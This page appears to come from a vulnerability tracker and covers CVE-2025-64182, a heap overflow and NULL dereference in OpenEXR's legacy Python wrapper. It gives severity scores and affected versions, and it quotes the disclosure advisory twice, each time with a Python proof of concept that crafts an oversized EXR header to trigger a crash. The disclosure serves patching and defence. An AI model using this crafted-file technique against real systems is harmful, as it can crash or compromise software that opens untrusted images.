CVE-2025-64182

highPriorität · verfolgen · 31EPSS 0.003 · 18. PerzentilEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.26% (18th) EPSS
CVSS 7.8 · high
Is it mine?
9 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · bewertet 2026-10-27

OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In versions 3.2.0 through 3.2.4, 3.3.0 through 3.3.5, and 3.4.0 through 3.4.2, a memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). Versions 3.2.5, 3.3.6, and 3.4.3 contain a patch for the issue.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.8
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 4.8–7.8

v3.17.8highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hprimary · NVD / NIST USAusnutzbarkeit 1.8 · Auswirkung 5.9
v3.17.8highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hsecondary · OSV
v4.05.5mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:Psecondary · ENISA EU
v4.05.5mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.04.8mediumCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (9)

Betroffene Produkte und Versionsbereiche.

05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-vh63-9mqx-wmjrOpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()2026-04-06ghsa · osvUS

    ### Summary A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536). - In `channel()`: - Width and height are derived from the header dataWindow using `int`. - `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks. - The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps. - The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`. - On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow. - In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes. ### PoC ```python # write_big_header_then_crash.py import OpenEXR, Imath # OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1 INT_MAX = (1 << 31) - 1 MAX_COORD = (INT_MAX // 2) - 1 # 1073741822 # Choose a scanline width that keeps row-bytes < 2^31 # 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400_000_000, MAX_COORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny # Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1)) # Robustly set NO_COMPRESSION across enum naming differences def no_compression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0) hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": no_compression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y), } # Write just the header (no pixels) out = OpenEXR.OutputFile("big_header.exr", hdr) out.close() # Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("big_header.exr") print("Triggering crash...") f.channels(["R"]) ``` ``` $ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py ``` ### Impact Typical memory stuff.

  • PYSEC-2026-2851OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()2026-07-13vendor · osvUS

    ### Summary A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects. Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit). This bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu). ### Details Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536). - In `channel()`: - Width and height are derived from the header dataWindow using `int`. - `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks. - The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps. - The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`. - On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow. - In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes. ### PoC ```python # write_big_header_then_crash.py import OpenEXR, Imath # OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1 INT_MAX = (1 << 31) - 1 MAX_COORD = (INT_MAX // 2) - 1 # 1073741822 # Choose a scanline width that keeps row-bytes < 2^31 # 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400_000_000, MAX_COORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny # Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1)) # Robustly set NO_COMPRESSION across enum naming differences def no_compression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NO_COMPRESSION", "NONE", "NO_COMPRESSION_ENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0) hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": no_compression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASING_Y), } # Write just the header (no pixels) out = OpenEXR.OutputFile("big_header.exr", hdr) out.close() # Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("big_header.exr") print("Triggering crash...") f.channels(["R"]) ``` ``` $ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py ``` ### Impact Typical memory stuff.

06

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07

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veröffentlicht 2025-11-10geändert 2026-06-17
08

Referenzen (8)

Externe Belege — Patches, Meldungen, Analysen.

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